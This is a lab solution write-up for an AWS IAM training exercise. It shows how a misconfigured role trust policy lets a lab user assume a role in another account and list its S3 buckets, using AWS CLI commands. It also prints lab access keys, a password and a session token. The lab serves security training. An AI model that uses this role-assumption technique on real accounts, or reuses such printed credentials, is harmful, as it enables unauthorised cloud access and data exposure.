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| Name | Misconfigured Trust Policy |
|------|---|
| URL | https://attackdefense.com/challengedetails?cid=2247 |
| Туре | AWS Cloud Security : IAM |

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Solution:

Step 1: Click on the lab link button to get access to AWS lab credentials.

Access Credentials to your AWS lab Account

| Login URL | https://795650787139.signin.aws.amazon.com/console |
|-------------------|--|
| Region | US East (N. Virginia) us-east-1 |
| Username | student |
| Password | Ad4bb8n7FQPmzerb |
| Access Key ID | AKIA3SQD3Q5BTMEMLYST |
| Secret Access Key | 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 |

Step 2: Configure AWS CLI to use the provided credentials.

Step 3: Assume role on ad-LoggingRole using AWS CLI.

Command: aws sts assume-role --role-arn arn:aws:iam::276384657722:role/ad-LoggingRole --role-session-name ad_logging

Step 4: Set the access key id, secret access key, and session token in environment variables.

Commands:

export AWS_ACCESS_KEY_ID=ASIAUAWOPGE5MLLIXWLT export AWS_SECRET_ACCESS_KEY=56D0XziDGzEtJ07JjPUGNPbW5Oz2Tc0t6kW5NtDWex export

AWS_SESSION_TOKEN=FwoGZXIvYXdzEN3///////wEaDJnu8Tic/B/RZybq4iKuAbuCALFvFW zhzf/0Mhq2jM+mcqnViVS82t9+fnjw2WL0OMC53eNEH5bmIP3aaberntXbwThhiq6ZyWDSw02G ucT7Y0kglbZCjjKuRutclLTDSnWKUqQcJKjtR4etwN1EHv7vROBc31fAcsibuDG1kOocPj9XmzVv ZZkzsVOg2+dXCT5NC0QVlgUjHqoiMu94Zdoz1aCnz4ZbEj5fUOKzPdvRQQ/71XOFhf35aAPCh yjvpM6BBjlthT27l6hAjZd+q33ulilZrivmu9vnbS3yFA6WEniTSu9xZwmH5K0HYcJtXQjl

Step 5: Check the caller identity.

Command: aws sts get-caller-identity

Step 6: Get attached policies for role ad-LoggingRole

Command: aws iam list-attached-role-policies --role-name ad-LoggingRole

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The role has read access on the S3 and IAM service of the account.

Step 7: List s3 buckets

Command: aws s3 ls

```
(kali⊕ kali)-[~]
—$ aws s3 ls
2021-01-20 13:58:42 ad-secret-bucket-for-rold
2020-12-04 23:53:07 attackdefense-discover-bucket
2020-10-30 03:23:51 data-extractor-repo
2020-10-29 17:18:03 developers-secret-bucket
2020-11-06 05:35:50 file-uploader-saved-files
2020-12-05 20:03:27 insecurecorp-code
2020-12-05 20:03:53 insecurecorp-customer
2020-12-05 20:04:13 insecurecorp-documents
2021-01-01 18:37:24 ipcalc
2021-01-01 19:19:23 ipcalc-flag
2021-01-01 14:40:16 lab-private-backup-resource
2021-01-01 14:37:17 lab-webapp-static-resource
2020-12-12 12:44:43 lab-webapp-static-resources
2020-12-31 22:48:53 owasp-top-10-flags
2020-11-06 01:59:14 serverless-ctf-flags
2020-12-18 21:32:18 shared-bucket-for-applications
2020-10-29 22:03:52 temporary-public-image-store
2020-10-30 01:48:53 users-personal-files
```

Successfully assumed the role on another account and accessed S3 buckets.

References:

AWS CLI (<u>https://docs.aws.amazon.com/cli/latest/reference/</u>)